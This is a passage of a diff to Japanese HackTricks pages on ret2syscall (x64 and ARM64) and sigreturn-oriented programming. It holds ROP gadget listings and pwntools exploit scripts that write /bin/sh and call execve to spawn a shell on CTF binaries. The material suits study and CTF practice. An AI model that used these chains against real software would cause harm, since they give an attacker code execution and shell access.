* `rdi: "/bin/sh" へのポインタを指定して実行するファイルを指定` * `rdi: "/bin/sh"へのポインタ、実行するファイルを指定`
* `rsi: 0 引数が渡されていないことを指定` * `rsi: 0、引数は渡さないことを指定`
* `rdx: 0 環境変数が渡されていないことを指定` * `rdx: 0、環境変数は渡さないことを指定`
つまり、文字列 `/bin/sh` をどこかに書き込んでから `syscall` を実行する必要があります(スタックを制御するために必要なパディングに注意してください)。そのためには、既知の領域に `/bin/sh`書き込むためのガジェットが必要です。 基本的に、`/bin/sh`という文字列をどこかに書き込み、その後`syscall`を実行する必要があります(スタックを制御するために必要なパディングに注意)。これには、`/bin/sh`を既知の領域に書き込むためのガジェットが必要です。
{% hint style="success" %} {% hint style="success" %}
呼び出すのに興味深い別のシステムコールは **`mprotect`** で、これにより攻撃者が **メモリ内のページの権限を変更** できます。これは [**ret2shellcode**](../../stack-overflow/stack-shellcode/) と組み合わせることができます。 もう一つの興味深いシステムコールは**`mprotect`**で、これにより攻撃者は**メモリ内のページの権限を変更することができます**。これは[**ret2shellcode**](../../stack-overflow/stack-shellcode/)と組み合わせることができます。
{% endhint %} {% endhint %}
## レジスタガジェット ## レジスタガジェット
まず、**これらのレジスタを制御する方法**を見つけましょう: **これらのレジスタを制御する方法**を見つけることから始めましょう:
```bash ```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret 0x0000000000415664 : pop rax ; ret
@ -41,7 +42,7 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret 0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret 0x00000000004498b5 : pop rdx ; ret
``` ```
これらのアドレスを使用すると、**スタックにコンテンツを書き込んでレジスタにロードすることができます** これらのアドレスを使用すると、**スタックに内容を書き込み、レジスタにロードする**ことが可能です
## 文字列の書き込み ## 文字列の書き込み
@ -56,7 +57,7 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
``` ```
### メモリに文字列を書き込む ### メモリに文字列を書
次に、このアドレスに任意の内容を書き込む方法を見つける必要があります。 次に、このアドレスに任意の内容を書き込む方法を見つける必要があります。
```python ```python
@ -65,11 +66,11 @@ mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
``` ```
### ROPチェーンの自動化 ### ROPチェーンの自動化
次のコマンドは、write-what-whereガジェットとシスコール命令が存在する場合に、静的バイナリを指定して完全な`sys_execve` ROPチェーンを作成します 次のコマンドは、書き込み可能なガジェットとシステムコール命令がある場合に、静的バイナリから完全な `sys_execve` ROPチェーンを作成します
```bash ```bash
ROPgadget --binary vuln --ropchain ROPgadget --binary vuln --ropchain
``` ```
#### 32 ビット #### 32ビット
```python ```python
''' '''
Lets write "/bin/sh" to 0x6b6000 Lets write "/bin/sh" to 0x6b6000
@ -91,7 +92,7 @@ rop += popRax
rop += p32(0x6b6000 + 4) rop += p32(0x6b6000 + 4)
rop += writeGadget rop += writeGadget
``` ```
#### 64 ビット #### 64ビット
```python ```python
''' '''
Lets write "/bin/sh" to 0x6b6000 Lets write "/bin/sh" to 0x6b6000
@ -107,15 +108,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx rop += writeGadget #Address to: mov qword ptr [rax], rdx
``` ```
## ガジェットの不足 ## ガジェットが不足している場合
**ガジェットが不足している**場合、例えばメモリに`/bin/sh`を書き込むためのガジェットが不足している場合、**SROPテクニックを使用してスタックからすべてのレジスタ値RIPおよびパラメータレジスタを含むを制御**することができます: もし**ガジェットが不足している**場合、例えばメモリに`/bin/sh`を書き込むために、スタックからすべてのレジスタ値RIPやパラメータレジスタを含むを制御するために**SROP技術**を使用できます:
{% content-ref url="../srop-sigreturn-oriented-programming/" %} {% content-ref url="../srop-sigreturn-oriented-programming/" %}
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/) [srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
{% endcontent-ref %} {% endcontent-ref %}
## 攻撃 ## エクスプロイトの
```python ```python
from pwn import * from pwn import *
@ -185,8 +186,23 @@ target.interactive()
## その他の例と参考文献 ## その他の例と参考文献
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html) * [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64ビット、PIEなし、nx、`execve`を呼び出すためのROPをメモリに書き込み、そこにジャンプします。 * 64ビット、PIEなし、nx、メモリに`execve`を呼び出すROPを書き、そこにジャンプします。
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html) * [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64ビット、nx、PIEなし、`execve`を呼び出すためのROPをメモリに書き込み、そこにジャンプします。数学演算を行う関数をスタックに書き込むために悪用されます。 * 64ビット、nx、PIEなし、メモリに`execve`を呼び出すROPを書き、そこにジャンプします。スタックに書き込むために数学的操作を行う関数が悪用されます。
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64ビット、PIEなし、nx、BFキャナリ、`execve`を呼び出すためのROPをメモリに書き込み、そこにジャンプします。 * 64ビット、PIEなし、nx、BFカナリア、メモリに`execve`を呼び出すROPを書き、そこにジャンプします。
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Ret2syscall - ARM64 # Ret2syscall - ARM64
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
{% endhint %}
以下のページでarm64の紹介を見つける arm64の紹介は以下を参照してください:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} {% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) [arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
@ -22,7 +23,7 @@ HackTricksをサポートする他の方法
## コード ## コード
ページから例を使用します: 以下のページの例を使用します:
{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %} {% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %}
[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md) [ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
@ -45,7 +46,7 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
コンパイル時にPIEとcanaryを無効にする: コンパイル時にPIEとカナリアを無効にする:
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector clang -o ret2win ret2win.c -fno-stack-protector
``` ```
@ -53,12 +54,12 @@ clang -o ret2win ret2win.c -fno-stack-protector
**syscall** の呼び出しを準備するためには、以下の設定が必要です: **syscall** の呼び出しを準備するためには、以下の設定が必要です:
- `x8: 221 sys_execve を指定` * `x8: 221 sys_execveを指定`
- `x0: "/bin/sh" へのポインタを指定して実行するファイルを指定` * `x0: "/bin/sh"へのポインタ、実行するファイルを指定`
- `x1: 0 引数が渡されていないことを指定` * `x1: 0、引数は渡さないことを指定`
- `x2: 0 環境変数が渡されていないことを指定` * `x2: 0、環境変数は渡さないことを指定`
ROPgadget.py を使用して、マシンのlibcライブラリ内で以下のガジェットを特定しました: ROPgadget.pyを使用して、マシンのlibcライブラリ内で以下のガジェットを見つけることができました:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```armasm ```armasm
@ -79,13 +80,13 @@ svc #0
``` ```
{% endcode %} {% endcode %}
前のガジェットを使用して、スタックからすべての必要なレジスタを制御し、x5を使用してシステムコールを呼び出すための2番目のガジェットにジャンプできます。 前のガジェットを使用することで、スタックから必要なすべてのレジスタを制御し、x5を使用して2番目のガジェットにジャンプしてsyscallを呼び出すことができます。
{% hint style="success" %} {% hint style="success" %}
libcライブラリからこの情報を知ることで、ret2libc攻撃も可能ですが、この現在の例ではそれを使用しましょう。 libcライブラリからこの情報を知ることは、ret2libc攻撃を行うことも可能にしますが、今回はこの例のために使用しましょう。
{% endhint %} {% endhint %}
### Exploit ### エクスプロイト
```python ```python
from pwn import * from pwn import *
@ -134,16 +135,17 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# SROP - Sigreturn-Oriented Programming # SROP - Sigreturn-Oriented Programming
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する。
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
**`Sigreturn`** は、主にシグナルハンドラが実行を完了した後のクリーンアップに使用される特別な **シスコール** です。シグナルは、オペレーティングシステムによってプログラムに送信される割り込みであり、通常は何らかの例外的な状況が発生したことを示すために送信されます。プログラムがシグナルを受信すると、現在の作業を一時停止して、シグナルを処理するための **シグナルハンドラ** と呼ばれる特別な関数で処理します。 **`Sigreturn`** は、主にシグナルハンドラの実行が完了した後のクリーンアップに使用される特別な **syscall** です。シグナルは、オペレーティングシステムによってプログラムに送信される中断で、通常は何らかの例外的な状況が発生したことを示します。プログラムがシグナルを受け取ると、シグナルを処理するために **シグナルハンドラ** という特別な関数を使用して、現在の作業を一時的に中断します。
シグナルハンドラが終了した後、プログラムは何も起こらなかったかのように **以前の状態に戻る必要があります。** ここで **`sigreturn`** が登場します。これにより、プログラムは **シグナルハンドラから戻り**、シグナルハンドラで使用されたスタックフレーム(関数呼び出しとローカル変数を格納するメモリセクション)をクリーンアップしてプログラムの状態を復元できます。 シグナルハンドラが終了した後、プログラムは何も起こらなかったかのように **以前の状態に戻る** 必要があります。ここで **`sigreturn`** が登場します。これは、プログラムが **シグナルハンドラから戻る** のを助け、シグナルハンドラによって使用されたスタックフレーム(関数呼び出しやローカル変数を格納するメモリのセクション)をクリーンアップすることでプログラムの状態を復元します。
興味深いのは、**`sigreturn`** がプログラムの状態を復元する方法です:これは、**CPUのすべてのレジスタ値をスタックに保存することで行います。** シグナルがブロックされなくなると、**`sigreturn` はこれらの値をスタックからポップ**して、効果的にCPUのレジスタをシグナルが処理される前の状態にリセットします。これには、スタックポインタレジスタRSPも含まれます。これは現在のスタックのトップを指すレジスタです。 興味深いのは、**`sigreturn`** がプログラムの状態をどのように復元するかです:それは **すべてのCPUのレジスタ値をスタックに保存することによって** 行います。シグナルがもはやブロックされていないとき、**`sigreturn` はこれらの値をスタックからポップし**、実質的にCPUのレジスタをシグナルが処理される前の状態にリセットします。これには、スタックの現在のトップを指すスタックポインタレジスタRSPが含まれます。
{% hint style="danger" %} {% hint style="danger" %}
ROPチェーンから **`sigreturn`** を呼び出し、**スタックにロードしたいレジストリ値を追加**することで、すべてのレジスタ値を **制御** し、そのために例えば `/bin/sh``execve` シスコールを呼び出すことが可能です。 ROPチェーンから **`sigreturn`** システムコールを呼び出し、**スタックに読み込むレジスタ値を追加する** ことで、すべてのレジスタ値を **制御** できるため、例えば `/bin/sh``execve` システムコールを **呼び出す** ことが可能です。
{% endhint %} {% endhint %}
これは、他の Ret2syscall を呼び出すためのパラメータを制御しやすくする **Ret2syscall の一種** であることに注意してください: これは、他のRet2syscallを呼び出すためのパラメータを制御するのがはるかに簡単になる **Ret2syscallの一種** であることに注意してください:
{% content-ref url="../rop-syscall-execv/" %} {% content-ref url="../rop-syscall-execv/" %}
[rop-syscall-execv](../rop-syscall-execv/) [rop-syscall-execv](../rop-syscall-execv/)
{% endcontent-ref %} {% endcontent-ref %}
興味がある場合は、後で値を回復するためにスタックに保存される **sigcontext 構造** を見てみてください([**こちら**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)の図表から)。 興味がある方のために、これは後で値を回復するためにスタックに保存される **sigcontext構造体** です(図は [**こちら**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) から):
``` ```
+--------------------+--------------------+ +--------------------+--------------------+
| rt_sigeturn() | uc_flags | | rt_sigeturn() | uc_flags |
@ -68,13 +69,13 @@ ROPチェーンから **`sigreturn`** を呼び出し、**スタックにロー
| __reserved | sigmask | | __reserved | sigmask |
+--------------------+--------------------+ +--------------------+--------------------+
``` ```
より詳しい説明はこちらをチェックしてください: より良い説明のために、こちらも確認してください:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## 例 ## 例
[**こちらの例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop)で、signeturnへの呼び出しがROPを介して構築されているのがわかりますrxaに値`0xf`を入れる)。ただし、これはそこからの最終的なエクスプロイトです: [**ここに例があります**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) では、ROPを介してsigneturnへの呼び出しが構築されていますrxaに値`0xf`を入れる)、ただし、これはそこからの最終的なエクスプロイトです:
```python ```python
from pwn import * from pwn import *
@ -101,7 +102,7 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
以下は、バイナリがすでに`sigreturn`を呼び出していたため、**ROP**を構築する必要がない場所からの[**exploitはこちら**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)をチェックしてください。 Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
```python ```python
from pwn import * from pwn import *
@ -139,12 +140,27 @@ target.interactive()
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) * [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) * [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html) * [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
* **スタックに書き込み**を許可し、その後**`sigreturn`**シスコールを呼び出すアセンブリバイナリ。**sigreturn**構造を介して**[**ret2syscall**](../rop-syscall-execv/)**をスタックに書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。 * **スタックに書き込み**を行い、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/)を**sigreturn**構造体を介して書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) * [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
* **スタックに書き込み**を許可し、その後**`sigreturn`**シスコールを呼び出すアセンブリバイナリ。**sigreturn**構造を介して**[**ret2syscall**](../rop-syscall-execv/)**をスタックに書き込むことが可能です(バイナリには文字列 `/bin/sh` が含まれています)。 * **スタックに書き込み**を行い、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/)を**sigreturn**構造体を介して書き込むことが可能です(バイナリには`/bin/sh`という文字列があります)。
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html) * [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
* 64ビット、relroなし、canaryなし、nx、pieなし。`gets`関数を悪用したシンプルなバッファオーバーフローで、**[**ret2syscall**](../rop-syscall-execv/)**を実行します。ROPチェーンは、再度getsを呼び出して`.bss`に`/bin/sh`を書き込み、**`alarm`**関数を悪用してeaxを`0xf`に設定して**SROP**を呼び出し、シェルを実行します。 * 64ビット、relroなし、canaryなし、nx、pieなし。`gets`関数のバッファオーバーフローを利用し、[**ret2syscall**](../rop-syscall-execv/)を実行するためのガジェットが不足しています。ROPチェーンは`gets`を再度呼び出すことで`/bin/sh`を`.bss`に書き込み、**`alarm`**関数を利用してeaxを`0xf`に設定し、**SROP**を呼び出してシェルを実行します。
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html) * [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
* 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、複数のレジスタを制御し、シスコールを呼び出してから`exit`を呼び出します。選択されたシスコールは`sigreturn`で、レジスタを設定し、`eip`を以前のシスコール命令を呼び出して`memprotect`を実行してバイナリスペースを`rwx`に設定し、ESPをバイナリスペースに設定します。フローに従うと、プログラムは再度ESPにreadを呼び出しますが、この場合ESPは次の命令を指すようになるため、シェルコードを渡すと次の命令として書き込まれ、実行されます。 * 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、複数のレジスタを制御し、システムコールを呼び出し、その後`exit`を呼び出します。選択されたシステムコールは`sigreturn`で、レジスタを設定し、`eip`を以前のシステムコール命令を呼び出すように移動させ、`memprotect`を実行してバイナリ空間を`rwx`に設定し、バイナリ空間内のESPを設定します。フローに従って、プログラムは再度ESPに読み込みを呼び出しますが、この場合ESPは次の命令を指しているため、シェルコードを渡すことで次の命令として書き込み、実行します。
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
* SROPは、シェルコードが配置された場所に実行権限memprotectを与えるために使用されます。 * SROPは、シェルコードが配置された場所に実行権限memprotectを与えるために使用されます。
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# SROP - ARM64 # SROP - ARM64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
